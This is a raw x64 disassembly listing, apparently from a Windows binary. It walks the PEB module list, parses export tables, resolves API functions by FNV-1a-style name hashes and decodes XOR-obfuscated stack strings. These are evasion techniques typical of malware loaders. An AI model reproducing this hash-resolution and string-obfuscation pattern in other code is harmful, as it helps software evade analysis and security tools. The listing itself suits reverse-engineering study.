mov rcx, qword [rsp + 0x3d8]
call fcn.1401056b0
nop
mov rcx, qword [rsp + 0x3e0]
call fcn.1401056b0
lea rax, [rsp + 0x1490]
mov qword [rsp + 0xce8], rax
lea rax, [rsp + 0x11d8]
mov qword [rsp + 0x580], rax
mov eax, 8
imul rax, rax, 7
mov rcx, qword [rsp + 0x580]
mov qword [rcx + rax], 0
mov rax, qword [rsp + 0x580]
mov qword [rsp + 0xcf0], rax
mov byte [rsp + 0x20], 0
mov r9b, 1
mov r8, qword [rsp + 0xcf0]
lea rdx, [rsp + 0x1490]
lea rcx, [rsp + 0x1410]
call fcn.1400b1c00
nop
lea rax, [rsp + 0x1158]
mov qword [rsp + 0x598], rax
call fcn.1400fb7f0
movzx eax, al
test eax, eax
je 0x140112120
mov dword [rsp + 0x424], 0
mov rax, qword [rsp + 0xe38]
mov qword [rsp + 0x430], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0xcf8], rax
mov rax, qword [rsp + 0xcf8]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0xd00], rax
mov rax, qword [rsp + 0xd00]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0xd08], rax
mov rax, qword [rsp + 0xd08]
mov qword [rsp + 0x1270], rax
mov rax, qword [rsp + 0x1270]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x2e0], rax
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x13b0], rax
mov rax, qword [rsp + 0x2e0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x2e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd10], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0xd10]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x588], rax
mov eax, dword [rsp + 0x588]
mov rcx, qword [rsp + 0x2e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x13b8], rax
mov eax, dword [rsp + 0x58c]
mov dword [rsp + 0x13c0], eax
mov rax, qword [rsp + 0x13b0]
cmp qword [rsp + 0x13b8], rax
je 0x140111e9b
mov dword [rsp + 0x200], 1
jmp 0x140111ea6
mov dword [rsp + 0x200], 0
movzx eax, byte [rsp + 0x200]
mov byte [rsp + 0x74], al
movzx eax, byte [rsp + 0x74]
test eax, eax
je 0x1401120b3
mov rax, qword [rsp + 0x13b8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xa0], eax
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x354], eax
mov eax, dword [rsp + 0xa0]
dec eax
mov dword [rsp + 0xa0], eax
cmp dword [rsp + 0x354], 0
je 0x1401120b3
mov eax, dword [rsp + 0x6b0]
mov dword [rsp + 0x204], eax
movabs rax, 0x67288136e6d2f59e
shr rax, 0x20
mov dword [rsp + 0x204], eax
mov rax, qword [rsp + 0xe40]
mov qword [rsp + 0x590], rax
mov rax, qword [rsp + 0x13b8]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x13b0]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0xa0]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x13b0]
mov qword [rsp + 0x590], rax
movabs rax, 0x67288136e6d2f59e
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x358], eax
mov rax, qword [rsp + 0x590]
mov qword [rsp + 0x3e8], rax
mov eax, dword [rsp + 0x204]
mov dword [rsp + 0x168], eax
mov rax, qword [rsp + 0x3e8]
movzx eax, byte [rax]
mov byte [rsp + 0x75], al
mov rax, qword [rsp + 0x3e8]
inc rax
mov qword [rsp + 0x3e8], rax
movzx eax, byte [rsp + 0x75]
mov byte [rsp + 0x3d], al
movsx eax, byte [rsp + 0x3d]
test eax, eax
jne 0x140111fde
mov eax, dword [rsp + 0x168]
mov dword [rsp + 0x35c], eax
jmp 0x140112028
xor eax, eax
test eax, eax
je 0x140111ff5
movsx eax, byte [rsp + 0x3d]
or eax, 0x20
mov dword [rsp + 0x208], eax
jmp 0x140112001
movsx eax, byte [rsp + 0x3d]
mov dword [rsp + 0x208], eax
mov eax, dword [rsp + 0x208]
mov ecx, dword [rsp + 0x168]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x168], eax
jmp 0x140111f9a
mov eax, dword [rsp + 0x358]
cmp dword [rsp + 0x35c], eax
jne 0x1401120ae
mov rax, qword [rsp + 0x13b8]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x13b0]
mov qword [rsp + 0xd20], rax
mov rax, qword [rsp + 0x13b8]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x13b0]
mov qword [rsp + 0xd18], rax
mov eax, dword [rsp + 0xa0]
mov rcx, qword [rsp + 0xd18]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0xd20]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x13b0]
mov qword [rsp + 0xd28], rax
mov rax, qword [rsp + 0xd28]
mov qword [rsp + 0x430], rax
jmp 0x140112104
jmp 0x140111ed1
mov rax, qword [rsp + 0x1270]
mov qword [rsp + 0xd30], rax
mov rax, qword [rsp + 0xd30]
mov rax, qword [rax]
mov qword [rsp + 0xd38], rax
mov rax, qword [rsp + 0xd38]
mov qword [rsp + 0x1270], rax
mov byte [rsp + 0x76], 1
movzx eax, byte [rsp + 0x76]
test eax, eax
jne 0x140111dea
mov qword [rsp + 0x430], 0
mov eax, dword [rsp + 0x424]
mov dword [rsp + 0x360], eax
mov ecx, dword [rsp + 0x360]
call qword [rsp + 0x430]
xor eax, eax
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x140191848]
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xc8], al
mov eax, 1
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x140191848]
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xc9], al
mov eax, 2
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x140191848]
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xca], al
mov eax, 3
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 3
lea rdx, [0x140191848]
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xcb], al
mov eax, 4
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 4
lea rdx, [0x140191848]
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xcc], al
mov eax, 5
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 5
lea rdx, [0x140191848]
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xcd], al
mov eax, 6
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 6
lea rdx, [0x140191848]
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xce], al
mov byte [rsp + 0xcf], 0
mov byte [rsp + 0xd0], 1
lea rax, [rsp + 0xc8]
mov qword [rsp + 0xd40], rax
mov rdx, qword [rsp + 0x598]
mov rcx, qword [rsp + 0xd40]
call fcn.140129920
mov eax, dword [rsp + 0x30]
bts eax, 0x1a
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x598]
mov qword [rsp + 0xd48], rax
mov rdx, qword [rsp + 0xd48]
lea rcx, [rsp + 0x1410]
call fcn.1400ba770
mov qword [rsp + 0xd50], rax
lea rdx, [rsp + 0x1630]
mov rcx, qword [rsp + 0xd50]
call fcn.1400aca50
mov eax, dword [rsp + 0x30]
bts eax, 0x1b
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0xff8]
mov qword [rsp + 0xd58], rax
lea rdx, [rsp + 0x1410]
mov rcx, qword [rsp + 0xd58]
call fcn.1400b6cf0
mov qword [rsp + 0xd60], rax
mov rdx, qword [rsp + 0xd60]
mov rcx, qword [rsp + 0x16c0]
call fcn.14011ea20
lea rax, [rsp + 0x1178]
mov qword [rsp + 0x5b0], rax
call fcn.1400fb7f0
movzx eax, al
test eax, eax
je 0x1401126d5
mov dword [rsp + 0x370], 0
mov rax, qword [rsp + 0xea0]
mov qword [rsp + 0x4b0], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0xd68], rax
mov rax, qword [rsp + 0xd68]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0xd70], rax
mov rax, qword [rsp + 0xd70]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0xd78], rax
mov rax, qword [rsp + 0xd78]
mov qword [rsp + 0x1268], rax
mov rax, qword [rsp + 0x1268]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x2e8], rax
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x13c8], rax
mov rax, qword [rsp + 0x2e8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x2e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd80], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0xd80]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x5a0], rax
mov eax, dword [rsp + 0x5a0]
mov rcx, qword [rsp + 0x2e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x13d0], rax
mov eax, dword [rsp + 0x5a4]
mov dword [rsp + 0x13d8], eax
mov rax, qword [rsp + 0x13c8]
cmp qword [rsp + 0x13d0], rax
je 0x140112450
mov dword [rsp + 0x20c], 1
jmp 0x14011245b
mov dword [rsp + 0x20c], 0
movzx eax, byte [rsp + 0x20c]
mov byte [rsp + 0x77], al
movzx eax, byte [rsp + 0x77]
test eax, eax
je 0x140112668
mov rax, qword [rsp + 0x13d0]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x9c], eax
mov eax, dword [rsp + 0x9c]
mov dword [rsp + 0x364], eax
mov eax, dword [rsp + 0x9c]
dec eax
mov dword [rsp + 0x9c], eax
cmp dword [rsp + 0x364], 0
je 0x140112668
mov eax, dword [rsp + 0x6b4]
mov dword [rsp + 0x210], eax
movabs rax, 0x67288136e6d2f59e
shr rax, 0x20
mov dword [rsp + 0x210], eax
mov rax, qword [rsp + 0xdf8]
mov qword [rsp + 0x5a8], rax
mov rax, qword [rsp + 0x13d0]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x13c8]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x9c]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x13c8]
mov qword [rsp + 0x5a8], rax
movabs rax, 0x67288136e6d2f59e
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x368], eax
mov rax, qword [rsp + 0x5a8]
mov qword [rsp + 0x480], rax
mov eax, dword [rsp + 0x210]
mov dword [rsp + 0x16c], eax
mov rax, qword [rsp + 0x480]
movzx eax, byte [rax]
mov byte [rsp + 0x78], al
mov rax, qword [rsp + 0x480]
inc rax
mov qword [rsp + 0x480], rax
movzx eax, byte [rsp + 0x78]
mov byte [rsp + 0x3e], al
movsx eax, byte [rsp + 0x3e]
test eax, eax
jne 0x140112593
mov eax, dword [rsp + 0x16c]
mov dword [rsp + 0x36c], eax
jmp 0x1401125dd
xor eax, eax
test eax, eax
je 0x1401125aa
movsx eax, byte [rsp + 0x3e]
or eax, 0x20
mov dword [rsp + 0x214], eax
jmp 0x1401125b6
movsx eax, byte [rsp + 0x3e]
mov dword [rsp + 0x214], eax
mov eax, dword [rsp + 0x214]
mov ecx, dword [rsp + 0x16c]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x16c], eax
jmp 0x14011254f
mov eax, dword [rsp + 0x368]
cmp dword [rsp + 0x36c], eax
jne 0x140112663
mov rax, qword [rsp + 0x13d0]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x13c8]
mov qword [rsp + 0xd90], rax
mov rax, qword [rsp + 0x13d0]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x13c8]
mov qword [rsp + 0xd88], rax
mov eax, dword [rsp + 0x9c]
mov rcx, qword [rsp + 0xd88]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0xd90]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x13c8]
mov qword [rsp + 0xd98], rax
mov rax, qword [rsp + 0xd98]
mov qword [rsp + 0x4b0], rax
jmp 0x1401126b9
jmp 0x140112486
mov rax, qword [rsp + 0x1268]
mov qword [rsp + 0xda0], rax
mov rax, qword [rsp + 0xda0]
mov rax, qword [rax]
mov qword [rsp + 0xda8], rax
mov rax, qword [rsp + 0xda8]
mov qword [rsp + 0x1268], rax
mov byte [rsp + 0x79], 1
movzx eax, byte [rsp + 0x79]
test eax, eax
jne 0x14011239f
mov qword [rsp + 0x4b0], 0
mov eax, dword [rsp + 0x370]
mov dword [rsp + 0x374], eax
mov ecx, dword [rsp + 0x374]
call qword [rsp + 0x4b0]
xor eax, eax
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.success
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xd8], al
mov eax, 1
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.success
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xd9], al
mov eax, 2
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.success
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xda], al
mov eax, 3
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.success
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xdb], al
mov eax, 4
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.success
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xdc], al
mov eax, 5
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.success
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xdd], al
mov eax, 6
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.success
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xde], al
mov byte [rsp + 0xdf], 0
mov byte [rsp + 0xe0], 1
lea rax, [rsp + 0xd8]
mov qword [rsp + 0xdb0], rax
mov rdx, qword [rsp + 0x5b0]
mov rcx, qword [rsp + 0xdb0]
call fcn.140129920
mov eax, dword [rsp + 0x30]
or eax, 0x80000000
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x5b0]
mov qword [rsp + 0xdb8], rax
mov rdx, qword [rsp + 0xdb8]
lea rcx, [rsp + 0x1410]
call fcn.1400ba770
mov qword [rsp + 0x648], rax
mov rcx, qword [rsp + 0x648]
call fcn.1400acad0
movzx eax, al
test eax, eax
je 0x140112f35
lea rax, [rsp + 0x1198]
mov qword [rsp + 0x5c8], rax
call fcn.1400fb7f0
movzx eax, al
test eax, eax
je 0x140112c40
mov dword [rsp + 0x384], 0
mov rax, qword [rsp + 0xe08]
mov qword [rsp + 0x3f8], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x650], rax
mov rax, qword [rsp + 0x650]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x658], rax
mov rax, qword [rsp + 0x658]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x660], rax
mov rax, qword [rsp + 0x660]
mov qword [rsp + 0x1260], rax
mov rax, qword [rsp + 0x1260]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x13f8], rax
mov rax, qword [rsp + 0x2f0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x2f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x668], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x668]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x5b8], rax
mov eax, dword [rsp + 0x5b8]
mov rcx, qword [rsp + 0x2f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1400], rax
mov eax, dword [rsp + 0x5bc]
mov dword [rsp + 0x1408], eax
mov rax, qword [rsp + 0x13f8]
cmp qword [rsp + 0x1400], rax
je 0x1401129bb
mov dword [rsp + 0x218], 1
jmp 0x1401129c6
mov dword [rsp + 0x218], 0
movzx eax, byte [rsp + 0x218]
mov byte [rsp + 0x6c], al
movzx eax, byte [rsp + 0x6c]
test eax, eax
je 0x140112bd3
mov rax, qword [rsp + 0x1400]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x98], eax
mov eax, dword [rsp + 0x98]
mov dword [rsp + 0x378], eax
mov eax, dword [rsp + 0x98]
dec eax
mov dword [rsp + 0x98], eax
cmp dword [rsp + 0x378], 0
je 0x140112bd3
mov eax, dword [rsp + 0x6b8]
mov dword [rsp + 0x21c], eax
movabs rax, 0x67288136e6d2f59e
shr rax, 0x20
mov dword [rsp + 0x21c], eax
mov rax, qword [rsp + 0xe10]
mov qword [rsp + 0x5c0], rax
mov rax, qword [rsp + 0x1400]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x13f8]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x98]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x13f8]
mov qword [rsp + 0x5c0], rax
movabs rax, 0x67288136e6d2f59e
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x37c], eax
mov rax, qword [rsp + 0x5c0]
mov qword [rsp + 0x4c8], rax
mov eax, dword [rsp + 0x21c]
mov dword [rsp + 0x170], eax
mov rax, qword [rsp + 0x4c8]
movzx eax, byte [rax]
mov byte [rsp + 0x7a], al
mov rax, qword [rsp + 0x4c8]
inc rax
mov qword [rsp + 0x4c8], rax
movzx eax, byte [rsp + 0x7a]
mov byte [rsp + 0x3f], al
movsx eax, byte [rsp + 0x3f]
test eax, eax
jne 0x140112afe
mov eax, dword [rsp + 0x170]
mov dword [rsp + 0x380], eax
jmp 0x140112b48
xor eax, eax
test eax, eax
je 0x140112b15
movsx eax, byte [rsp + 0x3f]
or eax, 0x20
mov dword [rsp + 0x220], eax
jmp 0x140112b21
movsx eax, byte [rsp + 0x3f]
mov dword [rsp + 0x220], eax
mov eax, dword [rsp + 0x220]
mov ecx, dword [rsp + 0x170]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x170], eax
jmp 0x140112aba
mov eax, dword [rsp + 0x37c]
cmp dword [rsp + 0x380], eax
jne 0x140112bce
mov rax, qword [rsp + 0x1400]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x13f8]
mov qword [rsp + 0x678], rax
mov rax, qword [rsp + 0x1400]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x13f8]
mov qword [rsp + 0x670], rax
mov eax, dword [rsp + 0x98]
mov rcx, qword [rsp + 0x670]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x678]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x13f8]
mov qword [rsp + 0x680], rax
mov rax, qword [rsp + 0x680]
mov qword [rsp + 0x3f8], rax
jmp 0x140112c24
jmp 0x1401129f1
mov rax, qword [rsp + 0x1260]
mov qword [rsp + 0x6c0], rax
mov rax, qword [rsp + 0x6c0]
mov rax, qword [rax]
mov qword [rsp + 0x6c8], rax
mov rax, qword [rsp + 0x6c8]
mov qword [rsp + 0x1260], rax
mov byte [rsp + 0x52], 1
movzx eax, byte [rsp + 0x52]
test eax, eax
jne 0x14011290a
mov qword [rsp + 0x3f8], 0
mov eax, dword [rsp + 0x384]
mov dword [rsp + 0x388], eax
mov ecx, dword [rsp + 0x388]
call qword [rsp + 0x3f8]
xor eax, eax
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.contents
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xe8], al
mov eax, 1
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.contents
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xe9], al
mov eax, 2
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.contents
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xea], al
mov eax, 3
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.contents
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xeb], al
mov eax, 4
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.contents
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xec], al
mov eax, 5
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.contents
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xed], al
mov eax, 6
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.contents
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xee], al
mov eax, 7
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.contents
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xef], al
mov byte [rsp + 0xf0], 0
mov byte [rsp + 0xf1], 1
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x6d0], rax
mov rdx, qword [rsp + 0x5c8]
mov rcx, qword [rsp + 0x6d0]
call fcn.140129cd0
mov eax, dword [rsp + 0xbc]
or eax, 1
mov dword [rsp + 0xbc], eax
mov rax, qword [rsp + 0x5c8]
mov qword [rsp + 0x6d8], rax
mov rdx, qword [rsp + 0x6d8]
lea rcx, [rsp + 0x1410]
call fcn.1400ba770
mov qword [rsp + 0x6e0], rax
lea rdx, [rsp + 0xeb8]
mov rcx, qword [rsp + 0x6e0]
call fcn.1400aca50
mov eax, dword [rsp + 0xbc]
or eax, 2
mov dword [rsp + 0xbc], eax
lea rdx, [rsp + 0xeb8]
lea rcx, [rsp + 0x1650]
call fcn.140115400
nop
lea rcx, [rsp + 0xeb8]
call fcn.1401056b0
lea rax, [rsp + 0x11b8]
mov qword [rsp + 0x6e8], rax
lea rdx, [rsp + 0x1650]
mov rcx, qword [rsp + 0x6e8]
call fcn.14003fa30
mov qword [rsp + 0x6f0], rax
mov r8, qword [rsp + 0x6f0]
mov rdx, qword [rsp + 0x16c8]
lea rcx, [rsp + 0x129b]
call fcn.1400bfd00
mov eax, dword [rsp + 0x30]
or eax, 1
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x1650]
call fcn.1401056b0
nop
lea rcx, [rsp + 0x1630]
call fcn.1401056b0
nop
lea rax, [rsp + 0x1410]
mov qword [rsp + 0x5d0], rax
mov rax, qword [rsp + 0x5d0]
add rax, 8
mov qword [rsp + 0x6f8], rax
mov rax, qword [rsp + 0x5d0]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0x6f8]
call fcn.14010cc00
nop
lea rcx, [rsp + 0x1490]
call fcn.1401056b0
nop
lea rcx, [rsp + 0x1610]
call fcn.1401056b0
nop
mov rcx, qword [rsp + 0x16d0]
call fcn.1401056b0
mov rax, qword [rsp + 0x16c8]
jmp 0x140112fc9
mov rcx, qword [rsp + 0x16c8]
call fcn.1400b8420
mov eax, dword [rsp + 0x30]
or eax, 1
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x1630]
call fcn.1401056b0
nop
lea rax, [rsp + 0x1410]
mov qword [rsp + 0x5d8], rax
mov rax, qword [rsp + 0x5d8]
add rax, 8
mov qword [rsp + 0x8e0], rax
mov rax, qword [rsp + 0x5d8]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0x8e0]
call fcn.14010cc00
nop
lea rcx, [rsp + 0x1490]
call fcn.1401056b0
nop
lea rcx, [rsp + 0x1610]
call fcn.1401056b0
nop
mov rcx, qword [rsp + 0x16d0]
call fcn.1401056b0
mov rax, qword [rsp + 0x16c8]
mov rcx, qword [rsp + 0x1690]
xor rcx, rsp
call fcn.14017d1a0
add rsp, 0x16a8
pop rdi
pop rsi
ret